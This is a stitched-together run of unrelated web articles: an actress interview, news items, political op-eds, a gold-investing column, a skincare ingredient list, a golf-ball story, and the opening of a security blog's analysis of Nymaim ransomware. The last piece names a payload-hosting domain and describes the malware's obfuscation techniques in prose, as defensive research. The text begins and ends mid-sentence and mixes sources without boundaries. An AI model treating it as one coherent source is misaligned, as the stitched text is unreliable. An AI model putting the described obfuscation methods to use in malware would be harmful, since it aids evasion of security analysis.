say, “I’ve grown so fond of Mary Harris Jones, and in my opinion, she was one of the largest contributors for the working class in having more rights, being treated fairly, and getting laws made to protect them and put them on higher ground. And I’d like to think she had an impact on Amelia somehow.” The impact that Amelia and Damnation has made on Jones is something she’ll take with her, both personally and professionally. “Ultimately, knowing you’re safe and ok to allow yourself to be vulnerable and exposed.” “If you really connect with a character and their voice, you can immerse yourself in it and do so safely as an actor” she said. Getting into character was something that profoundly impacted Jones. “You know, I’ve never had such a personal relationship with a character before playing Amelia, and in doing so shed light on a lot of aspects of my personal life that has required me to recognize some hard truths and respond with tough love. I’ve never felt so vulnerable in the work as I have representing Amelia.” At times, Jones said she worked through those moments of vulnerability that left her feeling uncomfortable because she knew it was necessary. “I wanted to represent Amelia and these women with honesty and responsibility. That’s been my biggest challenge, and it’s certainly a challenge I welcome and that I’ve been incredibly grateful for.” Another thing that Jones mentioned she was grateful for was the platform this kind of show gave to women everywhere. “I thought a lot about how women could make a change back then when they weren’t given nearly the kind of platform we have now. And if it weren’t for them, we wouldn’t have these kinds of platforms now.” Be sure to catch Sarah Jones on Damnation, premiering Tuesday, November 7th on USA. Featured image credit: Logan Cole, Hair / Makeup: Travisean Haynes Follow us on Twitter @telltaleTV_ Want more from Tell-Tale TV? Subscribe to our newsletter here! You might also like: -Nawaz Sharif and Maryam Nawaz Sharif. (Source: Facebook/Maryam Nawaz Sharif) Pen is mightier than the sword? Forget it. These words written in 1839 by novelist and playwright Edward Bulwer-Lytton in historical play Cardinal Richelieu may have found a new meaning in the digital age of 2017. What about a font is mightier than sword? Ask Pakistan Prime Minister Nawaz Sharif and his daughter Maryam and they will answer in the affirmative. Pakistan is staring at the fall of Nawaz Sharif government due to a popular font – Calibri. It has been found that Maryam misled the Pakistan Supreme Court with fake documents in the ongoing Panamagate corruption case against her family. Maryam sent to the SC-appointed Joint Investigative Team (JIT) documents dated before January 31, 2007 and typed in Calibri font. But Calibri was not commercially available before 31st January 2007. Calibri has an interesting history of being on the top. Yes, literally. Microsoft describes Calibri as a “modern sans serif family with subtle roundings on stems and corners. It features real italics, small caps, and multiple numeral sets. Its proportions allow high impact in tightly set lines of big and small text alike. Calibri’s many curves and the new rasteriser team up in bigger sizes to reveal a warm and soft character.” The “warm and soft” Calibri was designed by Lucas De Groot in 2004 reached people on January 30, 2007 with the launch of Microsoft Office 2007 and Windows Vista. The Calibri started its journey by replacing Times New Roman as the default typeface in Word and also replaced Arial as the default in Microsoft PowerPoint, Excel, Outlook and WordPad. Watch this also: Calibri made on-screen reading more enjoyable and continued so in all versions of Microsoft Office since 2007 until 2016. It may just now leave Pakistan sans Sharif. UPDATE: Pakistan Supreme Court is set to deliver the verdict in Panama Papers case against PM Sharif today. It is expected that the verdict would force Sharif to resign. (This article was first published on July 14, 2017. ) -0 Man arrested during BMW test drive ATLANTA - A man who went car shopping in Gwinnett County ended up in jail during a test drive. Jon-Christopher Sowells had just driven a BMW out of Philips Motors on Highway 78 in Snellville when an officer stopped him. Sowell told Channel 2’s Kerry Kavanaugh he pulled over, unclear about why the Snellville police officer stopped him. "He said you don't have any tags on the car. I said, ‘No problem, I don't have any tags on this car because it's not my car. The dealer is right there we can get it all clarified,’” Sowells said. Sowells said he asked the officers to call the dealer three or four times, then the officer asked to see some paperwork on the back seat. Not knowing what the papers were, Sowells refused. “They asked me to get out of the car. I said 'I don't feel comfortable.' They commenced to open up the car door and they tried to drag me out of the door by my left arm," he said. At that point, Sowells says, the officer had called for backup. According to the police report, Sowells pulled away from the officers. Two officers grabbed their Tasers and Sowells got out of the car. He was arrested for obstruction. “They're treating me like I'm a criminal and I hadn't done anything," he said. Snellville Police Chief Roy Whitehead emailed Kavanaugh a statement. "The officer observed a paper on the rear seat that appeared to be of the type dealers use when placing a vehicle for sale. He asked if he could retrieve it and Mr. Sowells refused. Based on his refusal to provide information and his passive and then active resistance, Mr. Sowells was charged with obstruction," the statement said. Whitehead also noted that because no one answered the phone at the dealership, the officer drove there to verify Sowell's story. "The dealer comes out to pick the car up and at this point, I'm thinking we can all go home everything is OK now. No it's not OK, I'm going to jail," Sowells said. Sowells said he has never been arrested before and he plans to fight the charge. He also bought the BMW. Snellville police contend he had opportunities to cooperate with their investigation. -U.S. Counterterrorism Strategy Is the Definition of Insanity Show me someone who publicly insists that the United States has an effective counterterrorism strategy, and I’ll show you someone who draws a paycheck from the U.S. government. “This week we have seen success across a broad spectrum,” Pentagon spokesman Col. Steve Warren told reporters on June 16, commenting on the death of Yemeni al Qaeda leader Nasir al-Wuhayshi, reportedly killed as a result of a U.S. drone strike. “Any time a terrorist is removed from the battlefield, is killed or captured, I think the net gain outweighs any potential loss.” Loyalty to your employer is a fine thing, especially in a press spokesman, but outside the ranks of officials in President Barack Obama’s administration, experts are far more dubious about the heavy U.S. reliance on air power and targeted strikes. “The tactical, whack-a-mole approach is not having the desired effect,” my Foreign Policy colleague Micah Zenko told the New York Times. “Not having the desired effect” was a polite circumlocution: As Zenko recently noted for FP, State Department figures show a substantial recent uptick in global terrorism. In 2014, terrorist attacks increased 39 percent over the previous year, while the number of fatalities caused by terrorist attacks went up 83 percent. In Yemen, which the administration inexplicably continues to tout as a counterterrorism “success,” U.S. policy in in shambles. “If you’re looking for logic here, you’re not going to find much,” Stephen Seche, a former U.S. ambassador to Yemen, told the New York Times. In mid-June, the Washington Post reported that “[al]-Qaeda affiliates are significantly expanding their footholds” in both Yemen and Syria. And the Islamic State also continues to gain ground in both countries. Meanwhile, in Libya, it’s “utter chaos,” former U.N. advisor Dirk Vandewalle told the Times: The Islamic State and al Qaeda-linked groups are vying for power, and a recent U.S. drone strike against al Qaeda operative Mokhtar Belmokhtar “shows that we’re still relying on ad hoc measures.” In Iraq, Somalia, and Afghanistan, it’s the same story. The United States continues to rely heavily on airstrikes and targeted killings, while terrorist groups continue to cause mayhem and gain adherents. Even some of those who do get paid by Uncle Sam have grown more openly skeptical of U.S. counterterrorism policy. Capt. Robert Newson, a Navy SEAL who served as director of the Joint Interagency Task Force-Counter Terrorism, told an interviewer at West Point’s Combating Terrorism Center that “drone strikes, manned airstrikes, and special operations raids … buy space and time. But by themselves they are only a delaying action, and everywhere I have been, in Iraq, Afghanistan, Yemen, every military person up and down the chain of command acknowledges this. This ‘CT concept’ — the solution that some people champion where the main or whole effort is drone strikes and special operations raids — is a fantasy.” Like Newson, I haven’t encountered many defenders of U.S. counterterrorism strikes. Last year, I co-chaired a Stimson Center commission on U.S. drone policy with retired Gen. John Abizaid. The commission, which included former senior military and intelligence officials from both Obama’s and George W. Bush’s administrations, concluded in June 2014 that “the Obama administration’s heavy reliance on targeted killings as a pillar of US counterterrorism strategy rests on questionable assumptions, and risks increasing instability and escalating conflicts. While tactical strikes may have helped keep the homeland free of major terrorist attacks, existing evidence indicates that both Sunni and Shia Islamic extremist groups have grown in scope, lethality and influence in the broader area of operations in the Middle East, Africa and South Asia.” In dozens of interviews and conversations with national security experts since June 2014, I have yet to find anyone who won’t admit, off the record, that U.S. counterterrorism policy is flailing badly. So here’s the question: If no one except administration press flacks thinks the whack-a-mole approach to counterterrorism is working, why are we still using it? To me, that’s one of the unsolved mysteries of the universe, right up there with “what is dark matter?” and “why do we yawn?” Why do smart people like Obama and his top advisors continue to rely on counterterrorism policies that aren’t working? I can think of a few possibilities. 1. They know something we don’t. This is the most generous hypothesis I can come up with. Maybe there’s secret intelligence information showing that, contrary to all appearances, al Qaeda, the Islamic State, al-Shabab, Boko Haram, and other major terrorist groups have all been fatally weakened and peace on Earth is right around the corner. Maybe. But not very likely. 2. We know something they don’t. Back in 2003, many of us were skeptical of the Bush administration’s claims about Iraqi weapons of mass destruction, but told ourselves that senior officials probably knew something we didn’t. Not so, as it turned out. Internal and external critics were ignored or silenced, and everyone from Defense Secretary Donald Rumsfeld to Secretary of State Colin Powell convinced themselves that dubious intelligence was the gospel truth. Had they paid more attention to critics, the United States might never have launched its misguided war in Iraq — the same war that became an inspiration and training ground for many of the terrorist leaders who continue to plague the region today. The critics were right. There’s no particular reason to think that today’s senior U.S. officials are any less prone to self-delusional groupthink. Maybe they’re trapped in their own little bubble; maybe they’ve started to believe their own hype. 3. They don’t know what they don’t know. Or maybe they don’t — and can’t — know that they don’t know what the rest of us know. Maybe no one draws their attention to critical reports. Maybe the internal critics — of whom there are clearly many — censor themselves when they’re around the president and his inner circle. I sometimes think that the U.S. government is a giant machine designed to prevent senior decision-makers from every getting any useful information. For one thing, it’s a vast and sprawling bureaucracy, and the right hand is frequently oblivious to the machinations of the left hand. In a sense, there’s just no “there” there: The State Department doesn’t always share important information with the Defense Department, the Defense Department doesn’t always share important information with Department of Homeland Security, and the intelligence community generally doesn’t share important information with anyone. Within agencies, it’s no different. Central Command doesn’t necessarily know what Special Operations Command knows, and Africa Command may not know what either knows. Military intelligence and surveillance assets are concentrated in the Central Command area or responsibility, leaving commanders elsewhere with less ability to monitor and understand what’s going on. Meanwhile, the CIA’s shift toward paramilitary operations has left it less able to gain vital human intelligence. Put all this together, and you get a situation in which U.S. officials can see millions of trees, but almost no one can spot any forests. Add to this the natural desire to bring good news rather than bad news to the boss — and combine it with a bureaucratic culture that insists that everything be boiled down to a few slides or a page of bullet points before it goes to senior officials. Maybe, at the end of the day, Obama can’t be expected to know whether his approach to counterterrorism is succeeding or failing, because the structure and incentives of the players in his own government make it impossible for him to know. 4. They don’t want to know. Maybe that’s too generous. Bush used to boast that he never read the newspaper. Maybe Obama has stopped reading the news too. Or maybe he skips articles that look critical or negative and goes straight to the sports section. It will be many years before current intelligence assessments are declassified, but so far, journalistic reports of leaked documents and comments by former officials suggest that there’s no shortage of internal evidence that U.S. counterterrorism policy is failing. According to the BBC, leaked CIA reports concluded that targeting killings of Taliban leaders were ineffective, for instance. Other internal documents reportedly acknowledge that U.S. officials are often uncertain whom they’re killing in the first place. But maybe senior officials find reasons to avoid reading such reports. Taking such information fully on board — or grappling with the full implications of the recent rise in global terrorism — would require senior officials to admit (to themselves, even if not to the general public) that a counterterrorism strategy centered on air power and targeted killings isn’t working. Not fun. 5. They know, but don’t care. Perhaps I’m still being too generous. Maybe senior administration officials know perfectly well that their approach to counterterrorism is failing, but simply have no incentive to change it. Why bother? In less than two years, this administration will be gone, and the next crew will have to clean up the mess — which won’t be easy, since no one has any magic solutions. In the meantime, politics trumps policy. The experts, analysts, and pundits can yap all they want, but airstrikes and targeted killings scratch the itch to “do something” and look tough while doing it. The long-term efficacy of this approach is immaterial. 6. They’re just really conflicted and confused. It’s definitely possible. In May 2013, Obama told an audience at the National Defense University that counterterrorist drone strikes raise “profound questions” and that “the use of force must be seen as part of a larger discussion we need to have about a comprehensive counterterrorism strategy.” In May 2014, he repeated his commitment to having that discussion and added, “I also believe we must be more transparent about both the basis of our counterterrorism actions and the manner in which they are carried out.… When we cannot explain our efforts clearly and publicly, we face terrorist propaganda and international suspicion.” In September 2014, he admitted, “We don’t have a strategy yet” for dealing with the rise of the Islamic State.” A few weeks ago, he amended this to “we don’t yet have a complete strategy.” It shows. Olivier Douliery-Pool/Getty Images -Ex-NRL player Craig Field charged over fatal assault Updated Former NRL player Craig Field has appeared in court on Monday, charged over a fatal assault in far northern New South Wales. Police say they responded to reports of an assault outside a hotel at Kingscliff around 9:15 on Sunday night and found a 50-year-old man lying unconscious on the ground. CPR was performed before the man was taken to Tweed Heads Hospital where he died on Monday afternoon. Field, 39, and Shaun Fathers, 41, were initially charged with assault occasioning grievous bodily harm but that charge was later upgraded to murder. Both men appeared briefly in the Tweed Heads Local Court and were remanded in custody until the matter returns to court in Lismore next month. Field, who made his debut with South Sydney as a 17-year old in 1990, was promoted to captain in 1994 before he was stripped of the role in 1995 for missing a training session. He later joined the Manly club and was a member of the side which lost the Grand Final to the Newcastle Knights in 1997. He also had a stint at Wests Tigers before heading to France to play for and coach the Pia Donkeys. The veteran of more than 100 first-grade rugby league games currently works as an electrician in Kingscliff. Topics: assault, police, crime, law-crime-and-justice, rugby-league, sport, nsw, tweed-heads-2485, southport-4215, qld, lismore-2480 First posted -With all the craze surrounding gold over the last few years, it’s probably a good idea to remind everyone, especially the younger generation, about gold’s beginnings. For me, just the mere mention of the word “gold” conjures up the likes of Croesus, the wealthy Lydian king who reigned from 500-547 BC. The Lydian’s, during this time, are believed to be the first people to mint gold coins. As far as a pop culture reference, gold often reminds me of Goldfinger, the antagonist in the 1964 James Bond movie, who was planning to attack the gold depository at Fort Knox. Whatever association or reference you have with gold, we all share the same envy for the highly valuable and greatly sought-after metal. So, Where’s The Gold? Most of the gold is held in reserves by central banks around the world. It was used and still is in many countries, to secure the value of their currency. It is estimated that all the gold mined by the end of 2011 totaled over 170,000 metric tons. As of July 31, 2015, the Treasury Bureau of the Fiscal Service published that the book value of U.S. Treasury-owned gold exceeds $11 billion dollars. Most of the gold in the U.S. is held at Fort Knox, KY. To put this in perspective, not withstanding what Goldfinger thought, if the U.S. sold off its entire gold reserve position at a current market price, it would only be able to pay off about 3 percent of our national debt. In order to cover the whole debt, the gold price would have to be approaching a market value of around $63,000 per troy ounce! Gold floats at a dollar valued market price. As of the writing of this article, it had recently closed at $1,146 per troy ounce. When people get nervous about the economy, there is often a flight into gold. As a result of the recent recession, gold hit an all-time high of $1,900 an ounce in 2011. There are other reasons to buy gold, but the main one is that it is considered a safe haven to protect investors against a possible catastrophe in the economic markets. A 2014 article in USA Today reported that the U.S. holds the most gold, over 8,000 metric tons, with Germany at second place with over 3,000 metric tons and Italy running third, at nearly 2,500 metric tons. By the way, China is supposed to hold approximately 1,000 metric tons. Gold has been the primary accepted tangible asset used as money for thousands of years. It is real, scarce, cannot be artificially reproduced (even today) and it has an agreed upon inherent value that has stood the test of time more than any other form of currency. It can be physically held and traded. It is a tangible fiat currency that can’t be created or hacked into like our latest Bitcoin, fabricated fiat currency. The demand remains as high today as it was thousands of years ago. Consider a quote from the founder of renowned Wall Street firm, E.F. Hutton & Co, Gerald M. Loeb, who once said, “The desire for gold is the most universal and deeply rooted commercial instinct of the human race.” Our money used to be redeemable for gold and silver; however, in 1934, Congress amended the Federal Reserve Act to read, ”The said (Federal Reserve notes shall be the obligations of the United States…” Our currency was backed by gold until President Nixon ended the tie between the dollar and gold in 1971. Bars/Bullion/Coins “Gold bars are what most people think of when they consider gold bullion, and with good reason. Gold bars come in many different shapes and sizes. Starting off at 1 gram, gold bars can be as large as you can possibly imagine. The most commonly traded bars fall into the 1 oz. and lower range, with many different varieties available. Gold bars are a primary choice (for investors) because they offer the most pure, real gold per dollar,” according to JM Bullion. Is Gold A Good Investment? If you are dying to own something that is volatile and reactive to world markets and economic scares, pays no interest, no dividends, and realistically can go without going up in value, sure… go for it! I’m being facetious, but crisis causes a surge of gold buying, although I’m not sure that is the best decision. Those of us, who lived through power outages and gasoline shortages after Hurricane Sandy, know that gold wouldn’t have helped. Although people flock to gold in times of crisis, if a real crisis occurs, I have my doubts as to how effective a stockpile of gold would prove to be. If you stockpile gold somewhere safe, and a crisis occurs, how are you going to use your gold to provide useful goods and services? Do you think people are going to start pulling out their kitchen scales, weighing gold and trading it for eggs and chickens? If a real crisis occurs there are numerous things I’d rather own than gold; things like batteries, guns solar panels, chickens, a garden and oil and gasoline,” notes Dana Anspach, in an article she wrote for About.com. I lived through 14 days of the aftermath of Hurricane Sandy. We had no power and our gasoline supply began to come under pressure. The long gas lines and falling temperatures made tempers rise. Gold wouldn’t have made a difference. When you are having the “gold” or “no gold” discussion with your next generation, here is my take on it: It is fine to have some gold in your balanced portfolio. I don’t like to see more than a 10 percent holding in gold. There are numerous studies and articles, which show the inverse reaction of gold prices to a stock market crash. So, this 10 percent holding is somewhat of a hedge. This is intuitive. When the market crash happens, money flows from the stock market into gold and when it is over, the money flows back into the stock market. Stay the course and, if you have the stomach for it, as your 10 percent gold holding increases, sell it and buy the low valued stocks. The major point is not to panic when the market reacts to this situation. Do not get caught up in the doom and gloom syndrome, where people firmly believe that this tangible asset of gold that you can hold in your hand is far above the promises of our politicians and the unbacked paper issued by our governments. -Written By: mickysavage - Date published: 10:07 am, May 30th, 2015 - 25 comments Categories: child abuse - Tags: david clendon, David Seymour, domestic violence, jan logie, kelvin davis, massive, ria bond, steffan browning, violence Yesterday I attended the start of Kelvin Davis’ Hikoi against sexual violence. He is intending to walk from Waitakere to Cape Reinga over the next two weeks, and stopping in towns and settlements on the way to talk about sexual violence. His message is clear, men need to own the violence problem that is a plague on our community. In his own words: Our group’s name is Men Against Sexual Violence and we’re encouraging all men to speak out about this evil lurking within our communities which is the violence towards men, women and children. We don’t want it swept under the carpet, let’s protect our families.” The launch attracted representation from all of the political parties. Labour had a full contingent, the Greens were well represented with David Clendon, Steffan Browning and Jan Logie attending, and New Zealand First’s latest MP Ria Bond came all the way from Invercargill to be present. The Maori Party’s Marama Fox was there. Even Act’s David Seymour turned up. He gave a rather bizarre speech about the importance of liberty but at least he showed up. National was represented by Alfred Ngaro who spoiled the effect by turning up late but again at least he was there. Following is the itinerary. Click on it for a more legible version. If you are in the area I am sure Kelvin will be happy to talk to you. Kelvin will be posting photos and updates on his own Facebook page and on the Massive Facebook page. Share this: Twitter Facebook Reddit -I Bought It Affiliate Links I received the Su:m 37 Skin Saver Melting Cleansing Balm yesterday from 11st (they have an AMAZING international EMS shipping deal right now–check out my Facebook post on how to get the 40,000 won-off coupon; this balm cost 26,000 won plus 2,500 won for domestic shipping and it arrived one week after I placed my order. MAGIC!). Cleansing balms are soft, sort of grainy-waxy-seeming solids until they hit your skin and get massaged in–at that point they become an oil that slices through your makeup, oil, and face grime and then emulsifies when in contact with water to wash all that nasty away. It’s the first step in my double cleanse (followed by a foaming face wash). Notable examples include the Banila Co Clean It Zero balm and The Face Shop’s Seed Fermentation Oil Cleansing Balm. I picked this up for my upcoming (in forever) mega comparison review of oil, oil-gel, and balm cleansers. And also because I wanted it. ahaha I was wondering about the ingredients, of course. So I translated the ingredient list from Korean into English. I’m not a professional Korean-English translator or even an unprofessional translator (I’ve only passed translation exams in a few European languages, but no Asian languages). I just try my best and welcome translation help. <3 Let me know if you see any errors! Korean Ingredient List: 하이드로제네이티드폴리데센, 카프릴릭/카프릭트리글리세라이드, 트리에칠헥사노인, 피이지-20글리세릴트리이소스테아레이트,폴리에칠렌, 사이클로헥사실록산, 세틸에칠헥사노에이트, 피이지-30소르비탄테트라올리에이트,아스코빌테트라이소팔미테이트,클루이베로미세스/락토바실러스/아프리코트커넬발효오일여과물, 기름야자오일, 육두구추출물, 오렌지껍질오일, 드럼스틱나무씨오일, 라임오일, 센티드제라늄꽃오일, 한련초추출물, 로즈마리잎오일, 인도멀구슬나무잎추출물, 소듐스테아로일글루타메이트, 시트랄, 시트로넬룰 [this is how it is typed in the list, but the correct Korean spelling seems to be시트로넬롤], 리모넨, 제라니올, 리날룰. English Ingredient List (done using the Lioele product dictionary): Hydrogenated Polydecene, Caprylic/Capric Triglyceride, Triethylhexanoin, PEG-20 Glyceryl Triisostearate, Polyethylene, Cyclohexasiloxane, Cetyl Ethylhexanoate, PEG-30 Sorbitan Tetraoleate, Ascorbyl Tetraisopalmitate, Kluyveromyces/Lactobacillus/Apricot Kernel Oil Ferment Filtrate, Elaeis Guineensis (Palm) Oil, Myristica Fragrans (Nutmeg) Extract, Citrus Aurantium Dulcis (Orange) Peel Oil, Moringa Pterygosperma Seed Oil, Citrus Aurantifolia (Lime) Oil, Pelargonium Graveolens Flower Oil, Eclipta Prostrata Extract, Rosmarinus Officinalis (Rosemary) Leaf Oil, Melia Azadirachta Leaf Extract, Sodium Stearoyl Glutamate, Citral, Citronellol, Limonene, Geraniol, Linalool. Here’s the link to the CosDNA analysis. Guess what? This product (unless the obscure Kluyveromyces/Lactobacillus/Apricot Kernel Oil Ferment Filtrate turns out to be evil, but it’s unlikely) contains no acne or sensitive skin triggers. Holy mother of balm, this product is worth the price. Updated: find the full review in my roundup of 15 Korean oil cleansers. Buy it on Amazon. Disclosure: This post contains affiliate links. Clicking those links before you shop means that fan-b receives a small commission, which helps to support the blog. Please see my full disclosure for more information. -The Narendra Modi government's record in tacitly supporting the actions of a bunch of vigilante thugs who have been terrorizing the country, especially the Muslims and the Dalits, in the guise of gau rakshaks, or opponents of love jihad, or 'nationalists', has been so outrageous that it has grabbed all the critical attention. In the process, the government's abysmal failures in other spheres have gone virtually unnoticed. One such sphere is the economy, the dismal state of which is sought to be camouflaged by hyped-up figures of growth of the gross domestic product. In fact, GDP figures these days engage one like an Edmund Crispin detective novel: in Crispin's novels one is forever occupied trying to identify the murderer from the clues the author gives; likewise with GDP data these days one gets primarily occupied trying to discover how truth has been done away with by the estimates. It is their 'post-truth' character rather than the data themselves which absorbs one. But even official data cannot hide certain things about the Modi years, and in what follows I rely exclusively on official data. The gross domestic product at factor cost originating in agriculture is the source of the incomes of all those engaged in this sector: agricultural labourers; peasants of different categories; capitalist farmers; and landlords, both feudal and capitalist. True, some of them, notably the landlords and capitalist farmers, may have incomes from other, non-agricultural sources, such as trade, cinema halls, or the transport business, but their numbers being relatively small, as long as their share in the GDP originating in agriculture does not fall, we can safely infer that an observed fall in per capita GDP originating in agriculture implies a fall in the per capita income of the agriculture-dependent population. Income of course should mean net income, that is, gross income minus a deduction for the depreciation of fixed capital, but the ratio between gross and net incomes does not change much over short periods; so, taking per capita GDP at factor cost for examining trends in per capita income of the agriculture-dependent population seems legitimate. Now, to see what has been happening during the three Modi years, let us make a point-to-point comparison of the pre-Modi base year 2013-14 with the last of these three years, 2016-17. This way we also avoid the two middle years, 2014-15 and 2015-16, which were poor harvest years because of successive droughts, and whose inclusion would have exposed us to the charge that we are unfairly blaming the Modi government for a natural phenomenon like drought. Since over such a short period as three years, there is unlikely to have been much shift in the sectoral composition of the workforce, and hence of the population dependent upon it, we can quite legitimately take the rate of growth of the agriculture-dependent population as being equal to the rate of growth of the overall population of the country. Let us now come to the calculations. From official data it can be seen on this basis that the per capita GDP at factor cost in current prices increased by 16 per cent between 2013-14 and 2016-17, which everybody acknowledges to have been a very good crop year (so that none can accuse us of unfairness). But exactly over the same period the consumer price index for rural India increased by 16.8 per cent. The per capita nominal income of the agriculture-dependent population in other words increased less than the price index, which means that there was a marginal decline in the per capita real income of the agriculture-dependent population over these three years. Agriculture accounts for roughly half of the total workforce of the country. Assuming identical work-force to population ratio in agriculture as elsewhere, what this means is that roughly half of the country's population witnessed no increase whatsoever, indeed on the contrary a marginal decline, in its real per capita income over the three Modi years. This is a fact of great significance. The agrarian crisis of course pre-dates Modi, and has to do with the withdrawal of State support from peasant agriculture, and the exposure of this sector to the operations of agribusiness and domestic and foreign monopolists, as part of neo-liberal economic policy. The point, however, is that the Modi government has been fully complicit in this squeeze on the agriculture-dependent population by neo-liberalism. Indeed, as I suggest below, it has been unthinkingly neo-liberal, and for that reason ultra-neo-liberal, to a degree far surpassing anything we have seen earlier. In the non-agricultural sector in general, output and employment (employment here must exclude 'disguised unemployment'), are demand-determined. Now, a part of the demand, what one may call the 'endogenous' component of demand, comes from the output of this sector itself: larger output means more incomes generated in this sector and hence a larger demand out of these incomes for the sector's own products. To see why the output of this sector is what it is, we have to focus, therefore, on the 'exogenous' or the 'autonomous' element of the demand for this sector's product, the element not dependent upon its own income. One important exogenous element of the demand for non-agricultural goods and services, comes obviously from agricultural incomes. But these, we have seen, have been stagnant in per capita terms over the three Modi years, which means that this source of demand has not grown over this period. Since investment tends to respond to the change in the size of the market and hence to the size of output, it cannot be taken as an exogenous element at all. This leaves us with only two other elements which can be taken as exogenous; one of these is net exports and the other is government expenditure. (Boost to autonomous consumption through asset-price bubbles, which leave asset-holders feeling wealthy, and hence consuming more, play a relatively small role in the Indian economy). The demand arising from net exports (that is, exports minus imports) has been fairly sluggish over this period, because of the crisis in the world economy and also the protectionism increasingly adopted by the United States of America. Such protectionism, by discouraging US firms from 'outsourcing' service sector activities, hurts the exports of services from countries like India. True, the lower oil prices in the world economy should have had the effect of boosting domestic demand, if these lower prices had been passed on to the consumers. But this did not happen; on the contrary, the government just took advantage of the lower world oil prices to garner larger revenues through excise duty. With such larger revenues, or even without them, if government expenditure had increased significantly, then we could have had a genuine exogenous boost to demand, and hence an increase in the output and employment in the non-agricultural sector. But here we come to the real crux of the matter. The total nominal expenditure by the Central government increased by 6.7 per cent in 2014-15, by 7.6 per cent in 2015-16, and by 12.5 per cent in 2016-17 (RE), when the Pay Commission's recommendations had to be implemented. The increase in total expenditure proposed in the 2017-18 budget is again only about 6 per cent. Since in each one of these years, the nominal GDP growth has exceeded 11 per cent, what this suggests is that Central government expenditure as a proportion of nominal GDP has been falling; even the Pay Commission-driven increase in 2016-17 scarcely contributes to an increase in this proportion. In a situation where per capita agricultural income has not been increasing and the stimulus from net exports has been waning, the need of the hour was an increase in the stimulus from government expenditure. But we find instead that government expenditure as a proportion of GDP has been declining over this period. The government in other words has been more keen to keep finance capital happy by restraining expenditure, than to sustain output and employment growth in the economy. And while this fact may not be manifest in the GDP estimates (because of the flawed methodology adopted of late for estimating GDP), it is certainly manifest in the employment figures. The number of new jobs created in the organized sector of the economy, which used to be about eight to nine lakh per year in 2010 and 2011 and which was nonetheless lower than the number of new persons seeking work, has now fallen to less than two lakh per year, which expresses the seriousness of the crisis. The government's fiscal conservatism arises from an unthinking adherence to the neo-liberal prescription of 'fiscal responsibility'. The effects of such unthinking adherence have been compounded by its unthinking 'macho' measures like the demonetization of currency notes. All these measures reflect the government's generally unthinking character. The country's economy has scarcely been in the hands of more unthinking persons. The author is Professor Emeritus, Centre for Economic Studies, Jawaharlal Nehru University, New Delhi -It’s a pretty simple, but very ingenious idea that Glenn Berger started doing 14 years ago: Berger will travel to golf courses all around Florida, dive into the course’s various water hazards, retrieve all the golf balls, then sell them for a $1 a piece. Golf balls become relatively ineffective after 24 hours underwater, but there are plenty of driving ranges still willing to buy them from him. The math is, admittedly, a little fishy. $15 million — or “between 1.3 and 1.7 million golf balls per year” as Berger says — means he’d have to fish seven days a week and catch somewhere north of 3,900 golf balls a day. Related Golfer Boo Weekley is rocking an epic beard But these types of contracts don’t generally work on a per-day basis. Guys like Berger will partner with courses to fish its various ponds once or twice a year. So, with that in mind, the average golf course hosts about 30,000 18-hole rounds every year, and let’s make a very conservative estimate an average golfer will lose 1.5 balls to a water hazard every 18 holes. That would mean Berger would need exclusive rights once-a-year to retrieve all the golf balls from about 34 different course’s water hazards. If he does that, he’d hit his “between 1.3 and 1.7 million golf balls” figure. A bit of a stretch, but certainly doable. One thing that’s not debatable: golfers are very good at hitting golf balls into water hazards. -We look at malware delivered by a campaign that has infected thousands of websites around the world – and the various control flow obfuscation techniques that make its analysis as interesting as it is challenging. Nymaim – Obfuscation Chronicles Introduction Last month, my colleague Sébastien Duquette detailed the home campaign, a long-lasting operation consisting of compromised web servers running a malicious Apache module named Darkleech (detected by ESET as Linux/Chapro) that redirects visitors to a Blackhole exploit kit. Sébastien stated that one of the final payloads dropped by this operation was the Win32/Nymaim downloader/ransomware family. In this blog post, we will look at the technical details of this particular malware and how it ends up getting installed on an end-user’s computer. We will also look at the various control flow obfuscation techniques that make its analysis as interesting as it is challenging. Trail of infection We know that the home campaign has successfully infected thousands of websites all over the world. While we don’t know exactly how many people got their computer compromised by this campaign, we can assume that their number is fairly large. A typical infection flow is shown below. When a user visits a Darkleech-compromised website, he eventually sees his computer locked by Win32/Nymaim. As seen in this figure, a malicious program called Pony Loader (detected by ESET as Win32/Fareit) is used to drop the first stage of Win32/Nymaim. During the course of our research, we collected several self-signed Pony Loader samples with the certificate shown below. We have collected hundreds of Pony Loader samples signed with this certificate. The fact that a self-signed certificate is used is most likely intended to make the file look less suspicious to some heuristic-based engines. By analyzing these samples, we were able to identify and monitor a static URL hosted on the domain catch-cdn.com used by one Pony Loader sample to fetch the payload to install. While the filename downloaded was always the same (6.exe), we saw that its content varied in nature. We have seen three different malware families on this URL: Win32/Sirefef (aka. ZeroAccess), Win32/Urausy (detected by ESET as Win32/LockScreen) and Win32/Nymaim’s first stage. The following figure shows a timeline of which malware families were downloaded from this static URL over the course of the summer. The algorithm behind the family rotation is still unclear. We can note that several Win32/Urausy samples were available from this URL, but only during the first fifteen days of July. Win32/Sirefef made its appearance in early August while Win32/Nymaim has been present throughout the monitoring period. The rest of the analysis will focus on Win32/Nymaim’s functionalities. Nymaim – First Stage & Common Features The Win32/Nymaim infection is a two-stage process. The first stage is merely a downloader and does not stay active on the infected computer. It will try to download Win32/Nymaim’s second stage by contacting a list of hardcoded IP addresses. Once the second stage is downloaded, the first stage just renames itself to a random filename. In spite of this separation, both stages share several common techniques to hinder malware analysis and we will now take a look at some of them. Control Flow Obfuscation During execution, call stack modifications are used extensively to hide the true relationships between functions. The following figure highlights two of the most common obfuscated control flow techniques. The first red square is hiding a simple register push. The next screenshot shows part of the function used to obfuscate this simple instruction. The constant that is pushed before calling the function above dictates which register gets pushed onto the stack. For example, if 0x34 is pushed as an argument to the function, the equivalent behavior would have been to replace the original “push” and “call” instructions by a simple “push ECX”. The second red square highlights a control flow obfuscation technique used to hide the true function call. The two constants pushed on the stack are used to derive the address of the function that needs to be called. One example of such a function is shown below. The function depicted above is XORing the two constants and then adding the result to the return value on the stack, but other functions will perform other mathematical operations on these two constants such as subtraction or addition. Since the return value on the stack is changed in this function, instead of returning to the caller, the “retn” opcode at the bottom of the screenshot will in fact jump to the beginning of another function. The return value of the original caller is stored on the stack so that when this function returns, it will go back to the first caller. The figure below illustrates this process more clearly. Win32 API Calls Obfuscation All calls to the standard Win32 APIs are obfuscated. When a specific function needs to be called, the base address of the DLL containing the function is fetched from the encrypted data section. Each function in its export table is then hashed and compared to the hash of the function name it wants to call. The following screenshot shows the function responsible for computing the function name hash used in the comparison. When the target function is found, its address is kept in memory and the code will then jump to this address. The return path is also obfuscated. Instead of returning from the 